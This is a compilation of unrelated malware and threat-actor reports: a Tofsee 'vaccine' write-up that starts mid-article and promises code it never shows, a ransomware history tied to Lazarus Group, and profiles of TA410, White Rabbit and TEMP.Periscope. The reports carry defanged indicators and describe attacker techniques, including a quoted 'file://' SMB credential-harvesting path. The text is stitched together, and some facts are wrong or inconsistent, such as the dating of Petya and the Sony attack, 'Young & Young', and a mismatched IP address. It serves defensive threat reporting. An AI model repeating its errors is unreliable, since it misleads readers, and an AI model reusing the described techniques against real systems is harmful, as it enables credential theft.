The first stage in identifying points to distract from the normal execution of the binary file is to reverse engineer the malware to understand the flow process of the code.
### Installer/Installed Path Checks in Tofsee
When we ran these checks with Tofsee, we noticed a slight deviation from the typical routine. Instead of checking file or registry-based artifacts, Tofsee cross-checks against an in-memory variable injected during installation.
This makes it impossible to imitate the binary file; however, it did make us ask the following question: “How does Tofsee manage the duplicate runs of the same binary?”
The answer is that Tofsee handles this process using Inter-Process Communication (IPC) pipes.
### IPC Communications Initiate an Exit
In the binary, we noticed a subroutine where Tofsee opens an IPC pipe and processes various data. The malware uses this IPC channel to communicate with another running instance to trigger an exit.
An algorithm is used to generate the pipe name, creating a name based on a predetermined value. This value is specific to the infected machine and is based on the hard drive’s volume serial number. The malware purposefully does this to make hardcoded indicator of compromise (IOC) detection impossible on machines.
### Pipe Name Generation Code
After generating the pipe name, the data received from the pipe is cross-checked as follows:
1. A 4-byte random integer is generated and sent across the pipe.
2. A 4-byte integer is read from the pipe.
3. The integrity of communication is checked using the following check (WRITE_DWORD >> 2) + WRITE_DWORD == READ_DWORD.
4. If the check is passed, another DWORD is written, which is generated from (READ_DWORD >> 2).
5. The calling process terminates.
## A Chink in Tofsee’s Armor
Here, where the data check creates the binary, there is the potential to leverage this process for the vaccine on the proviso that the binary isn’t already running. If it is running, unfortunately, the opportunity to stop it is missed.
But let’s focus on the scenario where the pipe doesn’t exist; from here, an IPC pipe of the same name is created, and another set of data is received and cross-checked with specific parameters. These checks are a little more complex than the previous ones:
1. A 4-byte integer is read from the pipe.
2. A 4-byte integer is generated from right-shifting the integer by 2 and adding it back.
3. Two internally defined structures are read successively from the pipe. These structures are defined as follows:
At this point, the vaccine packet can be used.
## Tofsee Vaccine Structures
The entire code for the Tofsee vaccine is provided below. This code can be used as a vaccine for new infections of Tofsee and existing ones, named as first dose vaccine and booster vaccine.
Happy vaccination coding! In our next blog post, we’ll look at a second vaccine you can use to protect against Tofsee. This one concentrates on injecting code into the memory configuration store. |
# Enterprise Malware-as-a-Service: Lazarus Group and the Evolution of Ransomware
In an interesting twist to the use of ransomware, an attacker leveraged a vulnerability in a plug-in for a remote-monitoring tool, Kaseya VSA, to gain access to a small Managed Services Provider and infect approximately 80 companies with the GandCrab ransomware. This is a notable shift in tactics for purveyors of ransomware, following the trend of commercial crimeware being used to attack businesses and service providers rather than individuals.
## The History of Ransomware: From Userspace to the Enterprise
The history of ransomware (extortion via malicious software) goes back to 1989, with PC Cyborg, also known as the AIDS Trojan, written by Joseph Popp. The malware had serious flaws, allowing key extraction from the code itself, and ultimately did little damage compared to the most destructive attacks to date, WannaCry and Petya/NotPetya. The first robust ransomware emerged with the introduction of public-key cryptography to the ransomware concept by Adam L. Young and Moti Yung. Young & Young’s experimental malware coined the term cryptovirology, encompassing overt and covert attacks utilizing cryptographic functions. By 2006, various ransomwares began to utilize more sophisticated RSA encryption schemes and larger key sizes. In 2008, the malware known as Gpcode.AK utilized a 1024-bit RSA key, which was determined to be computationally infeasible to break without a distributed effort.
In 2013, the now infamous Cryptolocker ransomware netted its operators an estimated $27 million from infected users, shooting ransomware to the top of the profitable e-crimes list next to banking trojans. Cryptolocker evolved, soon targeting network-attached storage devices, and in 2015 began to target Linux-based web servers. Further evolution of ransomware came with CryptoWall, which utilized a digital signature to appear trustworthy. CryptoWall took further destructive measures, deleting volume shadow copies, on top of its capabilities of password-stealing and Bitcoin wallet hijacking. The SamSam ransomware, first detected in 2016, targeted JBoss servers. Rather than utilizing email phishing and malicious documents, SamSam directly infected web servers over the internet. Victims of SamSam included hospitals and local governmental bodies in the United States; the city of Atlanta, GA, was completely crippled by SamSam in March 2018.
In May 2017, the highly destructive WannaCry ransomware spread across the internet using an exploit named EternalBlue, leaked from the U.S. National Security Agency. An estimated 230,000 systems were infected in more than 150 countries. The malicious software demanded money from users in 20 different languages. WannaCry was the first ransomware to affect enterprise organizations, including Telefónica, the British National Health Service, FedEx, Deutsche Bahn, Honda, Renault, and even the Russian Interior Ministry. For the first time, the global enterprise was forced to deal with threats unconcerned with stealing trade secrets but instead aimed to cause as much destructive damage as possible if their demands were not met.
In March 2018, the Petya ransomware made its first introduction, followed by a heavily modified version that wreaked havoc on businesses, most notably the logistics firm Maersk, whose Business IT infrastructure was almost completely destroyed, impacting terminals in four countries and causing delays and disruptions for weeks. Speculation from industry experts noted that NotPetya’s purpose appeared to be wholly destructive, without concern for collecting extortion fees, as is the general operation of file-locking malware. Instead, NotPetya simply performed permanently destructive acts on the systems it infected.
## Nation-State Cyber-Attacks as a Service
A ransomware known as HERMES began appearing in October 2017, used against the Far Eastern International Bank in Taiwan, where $60 million was stolen in a sophisticated attack on the SWIFT system. Notably, HERMES appeared to be used solely as a diversion from the true heist: the attack on the SWIFT system. Almost one year later, in August 2018, a new type of ransomware infection burst onto the stage: named Ryuk, after the name with which the ransom notes were signed. Victims included large newspaper publications such as the New York Times, Los Angeles Times, and Wall Street Journal.
HERMES was attributed to the infamous Lazarus Group, believed to be funded by the government of North Korea. As samples of Ryuk were analyzed, it was found to reuse code from HERMES, establishing a solid link to Lazarus Group. Ryuk is a fully-developed ransomware package, and unlike HERMES, is not a decoy; the malware is wholly intended for the task of digital extortion. Ryuk marks the third time that Lazarus Group has used destructive malware against its targets, the most notable being Sony Pictures in 2015, where ransomware was used to destroy studio infrastructure.
Dominating ransomware news recently has been the ransomware-as-a-service GandCrab: the software is maintained by a dedicated development team that delivers frequent updates with additional capabilities and evasion techniques. Continuing with the trend of organized crimeware targeting businesses instead of end-users, GandCrab was used to infect the customers of a small Managed Services Provider by breaching the MSP itself. Rather than the MSP, the customers bore the infection and potential costs of ransom. By targeting the MSP, the attackers managed to infect 80 victims at the same time—practical and efficient.
## Opinion: Lazarus Group and the Evolving Landscape of Enterprise-capable Malware
The trend of crimeware shifting from targeting end-users to targeting the enterprise has continued in other malware areas, specifically with the evolution of the Emotet malware, a trojan that targets bank information. First identified by researchers in 2014, it has evolved from a simple money-stealing trojan spreading via malspam campaigns to a sophisticated malware toolkit capable of stealing emails and spreading via the infamous EternalBlue exploit. Emotet is now capable of infecting an entire organization via its lateral movement capabilities.
The line between organized crimeware and nation-state espionage-ware is indeed fine: in a report by Cybereason’s Intelligence Unit released in February 2017 at the RSA Conference, Russia, China, and the United Arab Emirates have been found to be outsourcing targeted operations to dedicated hacking groups, presumably to mitigate risk and foil attribution. The use of outsourced labor, and potentially also malware-as-a-service, is consistent with changing tactics, techniques, and procedures to confuse and counter one’s adversaries. From a purely objective standpoint, these behaviors should be expected.
Lazarus Group has demonstrated a concentrated and continuous effort to develop and deliver both HERMES and Ryuk in targeted attacks, and like other skilled actors, makes efforts to incorporate new evasion, privilege escalation, and lateral movement techniques into new releases. Attribution in malware analysis is frequently difficult (and sometimes impossible) due to a combination of obfuscation techniques and intentionally misleading clues left by the authors for analysts who stumble upon them, in addition to the copycat nature of crimeware: where one software leads, others will follow, leading to improvement and innovation. The authors of crimeware learn from each other’s implementations and from the analysis performed by incident responders.
It is possible, and even likely, that Lazarus Group may manage to breach a large hosting provider and deliver ransomware to every customer. Such an attack is not only likely but also fits within Lazarus Group’s modus operandi: an attack that infects dozens or hundreds of customers may effectively obfuscate their true purpose, in the same way HERMES was used to mask SWIFT fraud. McAfee Labs makes similar observations, finding that Ryuk (and by extension Lazarus Group) pose an existential risk to IT Hosting and Freight/Logistics firms.
In the sport of malware-as-a-moneymaking mechanism, Lazarus Group is a world-class player and will certainly continue its trend of constantly evolving tactics and targets. |
# A Lookback Under the TA410 Umbrella: Its Cyberespionage TTPs and Activity
ESET researchers reveal a detailed profile of TA410, a cyberespionage umbrella group consisting of three different teams using various toolsets, including a new version of the FlowCloud espionage backdoor discovered by ESET. TA410 has been active since at least 2018 and was first publicly revealed in August 2019 by Proofpoint.
## Key Points
- TA410 is comprised of three teams: FlowingFrog, LookingFrog, and JollyFrog, each with its own toolset and targets.
- ESET telemetry shows victims worldwide, mainly in governmental and educational sectors.
- TA410 had access to recent Microsoft Exchange remote code execution vulnerabilities, such as ProxyLogon in March 2021 and ProxyShell in August 2021.
- A new version of FlowCloud, a complex and modular C++ RAT, was discovered with capabilities including:
- Controlling connected microphones and triggering recordings based on sound levels.
- Monitoring clipboard events to steal content.
- Monitoring file system events to collect new and modified files.
- Controlling attached camera devices to take pictures of the surroundings.
- FlowCloud deploys a rootkit to hide its activity on compromised machines.
- The LookBack backdoor utilized by TA410 uses a custom network protocol for C&C server communications.
- TA410 is a user of the Royal Road malicious document builder.
## Attribution
ESET researchers believe that TA410 consists of three teams using similar tactics, techniques, and procedures (TTPs) but different toolsets and IP addresses.
- **FlowingFrog** uses Royal Road RTF documents, a first-stage implant called Tendyron, and a complex second-stage backdoor called FlowCloud.
- **LookingFrog** uses a first-stage backdoor called X4 and LookBack as a second stage.
- **JollyFrog** uses generic malware families such as Korplug (aka PlugX) and QuasarRAT.
FlowingFrog and JollyFrog share network infrastructure, while FlowingFrog and LookingFrog ran a phishing campaign against the same targets.
## Victimology
Most TA410 targets are high-profile organizations in diplomacy and education, with victims also in the military sector, manufacturing, mining, and charity sectors. Victims are located in Africa, Asia, the Middle East, and Europe. Notably, TA410 targets foreign individuals in China.
### Targets Observed Since 2018
- **FlowingFrog**: University, foreign diplomatic mission, mining company.
- **LookingFrog**: Diplomatic missions, charity, government, industrial manufacturing.
- **JollyFrog**: Education, church, military, diplomatic mission.
## Initial Compromise and Typical TTPs
The three teams use similar methods to compromise targets, primarily through spearphishing or exploiting web-facing applications like Microsoft Exchange or SharePoint.
- LookingFrog exploited Microsoft SharePoint servers in 2019 to gain code execution, dropping an ASPX webshell.
- JollyFrog exploited Microsoft SQL servers and IIS servers in 2020.
- In August 2021, LookBack was loaded by an IIS worker process on a server belonging to an industrial manufacturing company in Japan.
## Arsenal
### FlowingFrog
FlowingFrog uses the Tendyron downloader and FlowCloud backdoor.
- **Royal Road**: A malicious document builder that exploits Equation Editor vulnerabilities.
- **Tendyron**: A downloader that injects a custom downloader into an iexplore.exe process.
### FlowCloud
FlowCloud is a complex implant written in C++. It consists of three main components: a driver with rootkit functionality, a persistence module, and a custom backdoor.
- The loader creates files and registry keys for other stages, using encrypted values.
- The backdoor provides full file system access, control of camera peripherals, and more.
### LookingFrog
LookingFrog uses X4 and LookBack.
- **X4**: A custom backdoor loaded by a VMProtect-ed loader.
- **LookBack**: A backdoor that uses a modified version of libcurl.dll to communicate with C&C servers.
### JollyFrog
JollyFrog uses off-the-shelf malware like QuasarRAT and Korplug.
- **Korplug**: A backdoor that arrives as a RARSFX archive.
- **QuasarRAT**: A full-featured backdoor downloaded via a custom downloader.
## Conclusion
TA410 is a cyberespionage umbrella targeting high-profile entities such as governments and universities worldwide. Initial access is obtained by exploiting vulnerable internet-facing applications or through spearphishing emails with malicious attachments.
## Indicators of Compromise (IoCs)
### Files
| SHA-1 | Filename | Detection | Description |
|-------|----------|-----------|-------------|
| C96558312FBF5847351B0B6F724D7B3A31CCAF03 | N/A | Win32/Agent.UWR | FlowCloud v5.0.3 init loader. |
| 1403241C415A8D686B1148FA4229A2EB833D8D08 | setlangloc.dll | Win32/Agent.UNL | FlowCloud DLL hijacking malicious library. |
| 38D0E92AFF991CFC9C68D7BAAD6CB85916139AF5 | hidmouse.sys | Win32/Agent.UKR | TA410 32-bit Rootkit/Keylogger driver. |
| AF978ED8AD37CE1437A6B42D96BF518D5C4CFD19 | hidmouse.sys | Win64/Agent.UKR | TA410 64-bit Rootkit/Keylogger driver. |
### Certificates
| Serial Number | Thumbprint | Subject CN | Valid From | Valid To |
|---------------|------------|-------------|------------|----------|
| 0F8B600FF1882E | 02ED6A578C575C8D9C72398E790354B095BB07BC | Hangzhou Leishite Laser Technology Co., Ltd. | 2012-03-29 | 2014-04-02 |
| 4ED8730F4E1B8558CD1CB0107B5F776B | 850821D88A4475F0310F10FBA806353A4113D252 | 北京和赢讯时科技有限公司 | 2019-11-13 | 2020-11-12 |
### Network
| Domain | IP | First Seen | Details |
|--------|----|------------|---------|
| 43.254.216[.]104 | 2020-06 | Delivery server |
| 45.124.115[.]103 | 2020-08 | Delivery server |
| 161.82.181[.]4 | 2020-12 | Delivery server |
### MITRE ATT&CK Techniques
| Tactic | ID | Name | Description |
|--------|----|------|-------------|
| Resource Development | T1587.001 | Develop Capabilities: Malware | TA410 develops LookBack and FlowCloud. |
| Initial Access | T1190 | Exploit Public-Facing Application | TA410 exploits web server vulnerabilities for initial access. |
| Execution | T1106 | Native API | FlowCloud makes extensive use of the Windows API to execute commands. | |
# New Ransomware Spotted: White Rabbit and Its Evasion Tactics
We spotted the new ransomware family White Rabbit discretely making a name for itself by executing an attack on a local US bank in December 2021. This newcomer takes a page from Egregor, a more established ransomware family, in hiding its malicious activity and carries a potential connection to the advanced persistent threat (APT) group FIN8.
## Use of a command-line password
One of the most notable aspects of White Rabbit’s attack is how its payload binary requires a specific command-line password to decrypt its internal configuration and proceed with its ransomware routine. This method of hiding malicious activity is a trick that the ransomware family Egregor uses to hide malware techniques from analysis. White Rabbit’s payload is inconspicuous at first glance, being a small file of around 100 KB with no notable strings and seemingly no activity. The telltale sign of its malicious origin is the presence of strings for logging, but the actual behavior would not be easily observed without the correct password.
The sample we analyzed used the password or passphrase “KissMe,” although other samples might use a different password. The arguments accepted by the ransomware are as follows:
- `-p`: password/passphrase
- `-f`: file to be encrypted
- `-l`: logfile
- `-t`: malware’s start time
## Arrival and relation to an APT
Our internal telemetry shows traces of Cobalt Strike commands that might have been used to reconnoiter, infiltrate, and drop the malicious payload into the affected system. Meanwhile, researchers from Lodestone have pointed out that the malicious URL connected to the attack is also related to the APT group called FIN8. They have likewise noted White Rabbit’s use of a never-before-seen version of Badhatch, an F5 backdoor that is also associated with FIN8. Unfortunately, at the time of the analysis, files from the said URL were no longer available.
## The ransomware routine
The ransomware routine itself is not complicated. Like many modern ransomware families, White Rabbit uses double extortion and threatens its targets that their stolen data will be published or sold, as seen in their ransom note. The ransomware creates a note for each file it encrypts. Each note bears the name of the encrypted file and is appended with “.scrypt.txt.” Prior to the ransomware routine, the malware also terminates several processes and services, particularly antivirus-related ones.
The malware then tries to encrypt files (if the `-f` argument is not given) in fixed, removable, and network drives, as well as resources. It also tries to skip the following paths and directories to avoid crashing the system and destroying its own notes:
- `*.scrypt.txt`
- `*.scrypt`
- `c:\windows\*`
- `*:\sysvol\*`
- `*:\netlogon\*`
- `c:\filesource\*`
- `*.exe`
- `*.dll`
- `*\desktop.ini`
- `*:\windows\*`
- `c:\programdata\*`
- `*:\programfiles\*`
- `*:\program files (x86)\*`
- `*:\program files (x64)\*`
- `*.lnk`
- `*.iso`
- `*.msi`
- `*.sys`
- `*.inf`
- `%User Temp%\*`
- `*\thumbs.db`
## Conclusion
Currently, we are still determining if FIN8 and White Rabbit are indeed related or if they share the same creator. Given that FIN8 is known mostly for its infiltration and reconnaissance tools, the connection could be an indication of how the group is expanding its arsenal to include ransomware. So far, White Rabbit’s targets have been few, which could mean that they are still testing the waters or warming up for a large-scale attack. White Rabbit is thus likely still in its development phase, considering its uncomplicated ransomware routine. Despite being in this early stage, however, it is important to highlight that it bears the troublesome characteristics of modern ransomware: It is, after all, highly targeted and uses double extortion methods. As such, it is worth monitoring.
A multilayered defense can help guard against modern ransomware and prevent the success of the evasion tactics they employ. Organizations can mitigate risks by taking these steps and employing these solutions:
- Deploy cross-layered detection and response solutions. Find solutions that can anticipate and respond to ransomware activities, techniques, and movements before the threat culminates. Trend Micro Vision One™ helps detect and block ransomware components to stop attacks before they can affect an enterprise.
- Create a playbook for attack prevention and recovery. Both an incident response (IR) playbook and IR frameworks allow organizations to plan for different attacks, including ransomware.
- Conduct attack simulations. Expose employees to a realistic cyberattack simulation that can help decision-makers, security personnel, and IR teams identify and prepare for potential security gaps and attacks.
## Indicators of Compromise (IOCs)
**SHA256**: b0844458aaa2eaf3e0d70a5ce41fc2540b7e46bdc402c798dbdfe12b59ab32c3
**Detection**: Ransom.Win32.WHITERABBIT.YACAET
**URL**: hxxps://104-168-132-128[.]nip[.]io/cae260
We analyze the ransomware White Rabbit and bring into focus the familiar evasion tactics employed by this newcomer.
By: Arianne Dela Cruz, Bren Matthew Ebriega, Don Ovid Ladores, Mary Yambao
January 18, 2022 |
# Scope Note
Recorded Future’s Insikt Group analyzed network indicators of compromise and TTPs relating to an intrusion incident targeting a U.K.-based engineering company. Sources include Recorded Future’s product, VirusTotal, ReversingLabs, DomainTools Iris, and PassiveTotal, along with third-party metadata and common OSINT techniques. This report will be of greatest interest to organizations within the high-tech engineering industries in the U.S., Europe, and Japan, as well as those investigating Chinese state-sponsored cyberespionage.
## Executive Summary
Employees of a U.K.-based engineering company were among the targeted victims of a spearphishing campaign in early July 2018. The campaign also targeted an email address possibly belonging to a freelance journalist based in Cambodia who covers Cambodian politics, human rights, and Chinese development. We believe both attacks used the same infrastructure as a reported campaign by Chinese threat actor TEMP.Periscope (also known as Leviathan), which targeted Cambodian entities in the run-up to their July 2018 elections. Crucially, TEMP.Periscope’s interest in the U.K. engineering company they targeted dates back to attempted intrusions in May 2017.
Based on the available data and evidence outlined in this report, Recorded Future assesses with medium confidence that Chinese threat actor TEMP.Periscope reused publicly reported, sophisticated TTPs from Russian threat groups Dragonfly and APT28 to target the U.K. engineering company, likely to gain access to sensitive and proprietary technologies and data. We believe TEMP.Periscope reused published TTPs either to increase the group’s chances of success in gaining access to the victim network or to evade attribution by laying false flags to confuse researchers.
## Key Judgments
- Attackers likely used a command and control (C2) domain, scsnewstoday[.]com, that was identified in a recent TEMP.Periscope campaign targeting the Cambodian government.
- The attackers used a Chinese email client, Foxmail, to send the spearphishing attack.
- A unique technique documented as a Dragonfly TTP in targeting critical infrastructure was used in the attack. The technique attempts to acquire SMB credentials using a “file://” path in the spearphish calling out to a malicious C2.
- The attack probably made use of a version of the open source tool Responder as an NBT-NS poisoner. APT28 used Responder in attacks against travelers staying at hotels in 2017.
- The U.K. engineering company was previously targeted by TEMP.Periscope in a May 2017 campaign with the same C2 infrastructure that was used in targeting U.S. engineering and academic entities later in September 2017, as detailed in Proofpoint’s Leviathan report.
## Background
TEMP.Periscope is a state-sponsored Chinese threat actor that first came to public prominence in October 2017, when reports surfaced about a group called Leviathan. Leviathan used a combination of unique and open source tooling to target the maritime and defense industries for espionage purposes. The report detailed coverage of the group dating back to at least 2014.
Reporting emerged months later highlighting further activity against the maritime and defense sectors that mainly targeted companies in the U.S. and Europe and included more details on the group’s TTPs. The activity was tagged with a new threat actor name, TEMP.Periscope, but the report authors noted that Leviathan and TEMP.Periscope were the same group.
The increased targeting of high-tech marine engineering entities coincided with the growing regional tensions surrounding China’s claims for much of the South China Sea (SCS) territory. Chinese cyberespionage targeting countries neighboring the South China Sea continued to escalate in 2018, with reports of TEMP.Periscope targeting Cambodia ahead of their July 2018 elections. Additionally, attacks such as the one uncovered against a U.S. Navy contractor in early 2018, resulting in the theft of a massive amount of highly sensitive data that included plans to develop a submarine-based, supersonic anti-ship missile, demonstrate China’s continued targeting of cutting-edge naval technology to bridge the technological gap with the U.S.
## Threat Analysis
### The Infection Vector
The attempted intrusion we studied targeted the network of a U.K. company that provides specialist engineering solutions. The U.K. engineering company shared details of the attempted spearphish with Recorded Future, and the following IOCs served as a starting point for our investigation.
| Indicator | Description |
|-----------|-------------|
| 193.180.255[.]2 | Spearphish sent from this IP |
| 82.118.242[.]243 | Source of SMB credential stealing attempts |
| WIN-AB2I27TG6FK | NetBios server name of the device sending the spearphish |
| WIN-PRH492RQAFV | NetBios server name of the device conducting SMB credential stealing |
Email headers revealed that the spearphish was sent on July 6, 2018, at 9:30 AM UTC, via Foxmail. Foxmail is a freeware email client developed by Tencent, one of the three largest internet services companies in China. Foxmail boasts over three million daily users in China and has previously been associated with Chinese APT activity.
In addition to email addresses belonging to the U.K. engineering company’s employees, the same spearphish was also sent to an email address possibly belonging to a journalist based in Cambodia. The sender account was spoofing an Australian journalist and lawyer, who among other things writes about Cambodian civil and social matters and has written for the Phnom Penh Post.
In a spearphishing campaign targeting the Cambodian elections in July 2018, Chinese threat actor TEMP.Periscope spoofed the sender address and impersonated a worker from a Cambodian nongovernmental organization (NGO).
The email contained two malicious links. The first, a “file://” link, if clicked, would generate an SMB session. The second link was to a .url file that was also configured to create an outbound SMB connection. The threat actor masqueraded as a Cambodian reporter requesting further information from the victim to be uploaded to her “report website.” However, spelling and punctuation errors in the message alerted network defenders at the victim organization.
Our analysis of the metadata contained within the email header and a subsequent controlled interaction with the file share over SMB revealed several interesting characteristics of the attempted intrusion.
### Responder: The “NetBIOS Poisoner”
First, we analyzed the SMB file path link. We observed the hostname WIN-PRH492RQAFV on C2 82.118.242[.]243 when it attempted to acquire SMB credentials from the victim network. We then noted the hostname WIN-PRH492RQAFV was hardcoded within several forked versions of a Python hacktool called Responder on GitHub. One version of Responder with this hostname was found in a build of P4wnP1 that was uploaded to BeeBin, a free file upload service, and another version with the same hostname was found within PiBunny.
Responder was released in January 2014. It is described as follows in its README file listed on the official GitHub repository: “Responder is an LLMNR, NBT-NS, and MDNS poisoner. It will answer to specific NBT-NS (NetBIOS Name Service) queries based on their name suffix. By default, the tool will only answer to File Server Service request, which is for SMB. The concept behind this is to target our answers, and be stealthier on the network…”
Malicious use of Responder was first publicly documented on August 11, 2017, as being used by APT28, also known as Fancy Bear. The tool was used against hotel visitors to spoof NetBios resources. Victims were coerced into connecting to UDP port 137 and disclosing credentials over SMB to APT28, which the threat actor then used to gain elevated access to the network.
### More Lessons From Russia: SMB Credential Harvesting Using “file://” Path
Building on the use of Responder, the threat actor also appeared to borrow techniques originating from a different Russian threat actor, Dragonfly, also known as Energetic Bear or Crouching Yeti. The path “file://82.118.242[.]243/[REDACTED]” used in the spearphish was likely to steal SMB credentials by creating an invisible image tag that the host attempts to fetch over SMB, while giving the attackers a hashed value of the user's NTLM password. When executing the code, the browser creates an invisible image tag and sets the URL to an attack server using the “file://” protocol scheme, which also transmits the user’s login NTLM hash. This created an effective watering hole to fingerprint potential victims and gather credentials for subsequent incursions into target networks.
This technique of leveraging the “file://” path to trigger an SMB connection was first publicly detailed by US-CERT on March 15, 2018, as a sophisticated technique used by Russian government actors believed to be the Dragonfly threat actor, targeting the energy industry and other critical infrastructure sectors.
### SWC Hosted On 82.118.242[.]243?
Registration details for 82.118.242[.]243, the IP associated with the SMB credential theft detailed above, proved to be inconclusive. WHOIS referenced the IP within a massive range registered to the U.K. ISP Virgin Media. However, MaxMind resolved the IP to Bulgarian hosting provider Histate Global Corp. Based on the listed vulnerabilities in Shodan and scan results for the machine, 82.118.242[.]242 is a web server likely running Windows Internet Information Services (IIS) 7.5. It has ports 22, 80, 88, 443, 445, 587, 902, and 5985 open.
| CVE | Affected Software |
|-----|------------------|
| CVE-2010-1256 | Microsoft IIS 6.0, 7.0, and 7.5 |
| CVE-2010-1899 | Microsoft IIS 5.1, 6.0, 7.0, and 7.5 |
| CVE-2010-2730 | Microsoft IIS 7.5 |
| CVE-2010-3972 | Microsoft FTP Service 7.0 and 7.5 for IIS 7.0 and IIS 7.5 |
| CVE-2012-2531 | Microsoft IIS 7.5 |
| CVE-2012-2532 | Microsoft FTP Service 7.0 and 7.5 for IIS |
| CVE-2017-15906 | OpenSSH pre-7.6 |
Another IP address that falls within the same /24 CIDR range, 82.118.242[.]124, was flagged in Recorded Future with an abnormally high risk score of 89 in July 2018. This was due to the IP appearing in the IOC listing by Cisco Talos as second-stage malware associated with the VPNFilter botnet. This botnet has been attributed to APT28 by the U.S. Department of Justice.
Based on the vulnerability of the web server 82.118.242[.]243 and the use of the “file://” SMB credential stealing technique directing the victim to the IP, we believe the threat actor compromised the web server and used it as a targeted watering hole to illicitly acquire SMB credentials from victims during this campaign.
### WIN-AB2I27TG6FK and Chinese Threat Actor TEMP.Periscope
Hostname WIN-AB2I27TG6FK was observed as the NetBios server name of the device sending the spearphish from the VPN IP 193.180.255[.]2. Open source research for the hostname WIN-AB2I27TG6FK revealed an open directory at the URL scsnewstoday[.]com/news/ that hosted several files containing the hostname in the filename. The domain was previously reported as a C2 used by the Chinese threat actor TEMP.Periscope to deliver their AIRBREAK downloader. AIRBREAK, also known as Orz, is a JavaScript-based backdoor that retrieves commands from hidden strings in compromised webpages and actor-controlled profiles on legitimate services.
In addition to AIRBREAK, the scsnewstoday C2 server reportedly hosted other malware and logs relating to TEMP.Periscope malicious activity that targeted Cambodian entities in the run-up to the country’s elections. The spearphish against the U.K. engineering company occurred at the same time this campaign was active — in early July 2018. Judging from the naming convention employed on filenames in the open directory, C2S and S2C likely relate to client-to-server and server-to-client connections with the hostname WIN-AB2I27TG6FK, which we assess is likely to be the hostname associated with the scsnewstoday[.]com C2. We’d expect to see many more files listed if the hostnames in the filenames related to the clients, or victims, targeted by TEMP.Periscope.
The domain scsnewstoday[.]com was hosted on U.S. IP 68.65.123[.]230 and registered to domain hosting service Namecheap until July 11, 2018. Details of the C2 domain were published just a day earlier, which we believe may have unnerved TEMP.Periscope operators, resulting in it being dropped. Unfortunately, the open directory is no longer accessible, which hampered our ability to understand the precise nature of the three files containing the WIN-AB2I27TG6FK hostname.
According to industry reporting, Chinese espionage group TEMP.Periscope has conducted large-scale phishing, intrusion, remote access trojan (RAT), and data exfiltration activity since at least 2013. Targeting has primarily focused on maritime-related entities across multiple industries, including engineering, shipping and transportation, manufacturing, defense, government offices, and research universities. However, the group has also targeted professional and consulting services, high-tech industry, healthcare, and media and publishing.
### Originating IP for Spearphish 193.180.255[.]2
This IP appeared in the email header information as the X-Forwarded-For IP, indicating that it was the originating IP address for the sender of the spearphish. WHOIS registration data revealed that 193.180.255[.]2 is registered to Privat Kommunikation Sverige AB, which is the full company name of PrivateVPN, a popular commercial VPN service. The company states that they support OpenVPN over TCP/UDP, L2TP, IPSEC, PPTP, and IKEv2 protocols.
Recorded Future identified three VPN connections involving the 193.180.255[.]2 IP between June 30 and July 1, 2018. All three connections were over UDP 500 (IKE/IKEv2), originating from Bangladesh IP 103.198.138[.]187. Additionally, between July 3 and July 10, 2018, 193.180.255[.]2 established SSH (TCP 22), NetBios (TCP 139), and Microsoft SMB (TCP 445) connections to the malicious SMB credential harvesting C2 82.118.242[.]243. Interestingly, these connections took place during the seven-day window within which the spearphish was sent.
### Historic Targeting of U.K. Engineering Company by TEMP.Periscope
Prior to this attempt in July, the same U.K. engineering company had previously been targeted in May 2017. This campaign used the ETERNALBLUE exploit and a unique DNS tunneler backdoor. The DNS tunneler used in the attack was configured to communicate with a subdomain of thyssenkrupp-marinesystems[.]org. The domain was clearly spoofing German defense contractor ThyssenKrupp Marine Systems, which specializes in marine engineering. In addition to hosting the spoofed domain, Netherlands-based HostSailor VPS IP 185.106.120[.]206 also hosted an open directory containing malware and tools for use by the threat actor, not dissimilar to the TEMP.Periscope scsnewstoday[.]com C2 and open directory set up.
Recorded Future analysis on the spoofed domain revealed that this server hosted the SeDll Javascript loader SHA256: 146aa9a0ec013aa5bdba9ea9d29f59d48d43bc17c6a20b74bb8c521dbb5bc6f4, which had been used in August 2017 by Leviathan (also known as TEMP.Periscope) to execute another Javascript backdoor, AIRBREAK. Crucially, the first mention of Leviathan as a Chinese threat actor occurred in October 2017, meaning TEMP.Periscope was using the same infrastructure to target the U.K. engineering company six months earlier.
In November 2017, another spearphish leveraging Microsoft Equation Editor vulnerability CVE-2017-11882 was sent to the U.K. engineering company. This attack delivered a Cobalt Strike payload.
## Conclusions and Outlook
The attempted spearphish has revealed a suite of TTPs that are linked to the recent activities of several different threat actors: APT28, Dragonfly, and TEMP.Periscope. We have listed the key TTPs observed in this attack in a chronological format in order to draw attention to the likelihood of techniques being copied from publicly disclosed reporting of these TTPs.
| Observed TTP | TTP Category | Similarity With | Date TTP Publicized |
|--------------|--------------|------------------|---------------------|
| Use of Chinese email client Foxmail | Infrastructure | client used by Chinese APT group Luckycat | 2012 |
| Use of open source tool Responder (albeit a modified instance in this case, based on the presence of the hardcoded hostname, WIN-PRH492RQAFV) | Malware/Tooling | APT28 deployed Responder on a hospitality sector network they compromised using ETERNALBLUE. Responder was used to facilitate NetBios poisoning to steal victim credentials. | August 11, 2017 |
| Use of path “file://” in the malicious link provided in the spearphish to harvest SMB credentials | Malware/Tooling | U.S. NCCIC reported Russian group, Dragonfly, employed watering holes where Javascript code used a hidden iFrame to generate a “file://” connection to a remote server, resulting in an SMB transfer of the victims’ NT Local Area Network Manager (NTLM) hash. | March 15, 2018 |
| Spearphish sent to U.K. engineering company email accounts | Victim | TEMP.Periscope targeting of maritime engineering company | March 16, 2018 |
| WIN-AB2I27TG6FK hostname of device sending spearphish | Infrastructure | Appears in the filename of three separate files listed in the open directory, scsnewstoday[.]com, and used recently by Chinese APT TEMP.Periscope. | July 10, 2018 |
| Spearphish sent to an email possibly belonging to a Cambodian journalist | Victim | Targeting of Cambodian entities has been reported as a known TTP of TEMP.Periscope. | July 10, 2018 |
Given that most of the listed APT28, Dragonfly, and TEMP.Periscope TTPs have already been published, we believe there are three likely scenarios for the activity observed:
1. A Russian threat actor was responsible and borrowed TEMP.Periscope TTPs.
2. TEMP.Periscope was responsible and borrowed Russian threat actor TTPs.
3. Another threat actor was responsible that used TTPs from the Russian groups and TEMP.Periscope.
In order to assess which of the three hypotheses above best explains our observations, we assessed the accumulated evidence detailed in this report.
First, we are certain that the attacker used IP 193.180.255[.]2 as a VPN endpoint to send the spearphish because the IP address resolves to Swedish VPN service PrivateVPN. We are also certain that the device that sent the spearphish was associated with the WIN-AB2I27TG6FK hostname. Further, we can state that this hostname was used in the filename of several files hosted on a known TEMP.Periscope C2, which had an open directory. As outlined earlier in this report, we believe the sender of the spearphish, WIN-AB2I27TG6FK, is probably the hostname of the TEMP.Periscope open directory hosted at scsnewstoday[.]com.
